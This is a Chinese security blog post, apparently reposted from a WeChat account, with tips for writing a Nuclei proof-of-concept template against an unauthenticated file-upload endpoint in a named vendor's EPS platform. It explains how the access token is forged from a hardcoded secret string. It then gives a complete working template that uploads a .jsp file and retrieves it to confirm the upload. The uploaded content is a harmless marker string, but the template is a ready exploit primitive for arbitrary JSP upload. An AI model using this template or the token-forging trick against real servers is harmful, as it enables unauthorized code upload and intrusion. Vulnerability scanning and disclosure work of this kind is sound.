Nuclei文件上传小Tips

本文由掌控安全学院 -

 不知江月待何人

 投稿

来Track安全社区投稿~  

千元稿费！还有保底奖励~（https://bbs.zkaq.cn）

前言

Nuclei对于文件上传类型Poc编写小Tips

平台

ProjectDiscovery Cloud Platform:
https://cloud.projectdiscovery.io/
JsonPath:
https://jsonpath.com/
Json解析：
在线json解析平台即可

案例

某康resourceOperations upload接口存在前台上传
具体接口：
POST /eps/api/resourceOperations/upload?token=xxx HTTP/1.1

分析

token为 32位MD5大写，即
MD5(https://target.com/eps/api/resourceOperations/uploadsecretKeyIbuilding)转大写

Resp返回path如下：

{"success":true,"message":"上传附件成功","data":{"uuid":null,"resourceUuid":"9abf316d58xxxxx25460b9358c91","resourceType":9998,"operationType":999,"extAttrs":"{"fileName":"1.jsp","fileSize":"0.00KB"}","pUuid":null,"isOn":null,"resourceName":"1.jsp","resourceSize":"0.00KB","unitName":null,"regionName":null}}

完整path：https://target.com/eps/upload/resourceUuid值.jsp

Nuclei for Poc

variables:
    boundary: "{{rand_base(20)}}"
    Token: '{{to_upper("{{md5("https://{{Hostname}}/eps/api/resourceOperations/uploadsecretKeyIbuilding")}}")}}'

path提取

demo:

http:
  - raw:
      - |-
        POST /eps/api/resourceOperations/upload?token={{Token}} HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
        Connection: close
        Cookie: ISMS_8700_Sessionname=A29E70BEA1FDA82E2CF0805C3A389988
        Content-Type: multipart/form-data;boundary={{boundary}}
        Upgrade-Insecure-Requests: 1
        Content-Length: 174

        --{{boundary}}
        Content-Disposition: form-data; name="fileUploader";filename="1.jsp"
        Content-Type: image/jpeg

        123456
        --{{boundary}}
      - |-
        GET /eps/upload/{{plt}}.jsp HTTP/1.1
        Host: {{Hostname}}
    extractors:
      - type: json
        part: body
        name: plt
        internal: true
        json: 
          - '.data.resourceUuid'

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - contains_all(body_2,"123456") && status_code==200

原文始发于微信公众号（掌控安全EDU）：Nuclei文件上传小Tips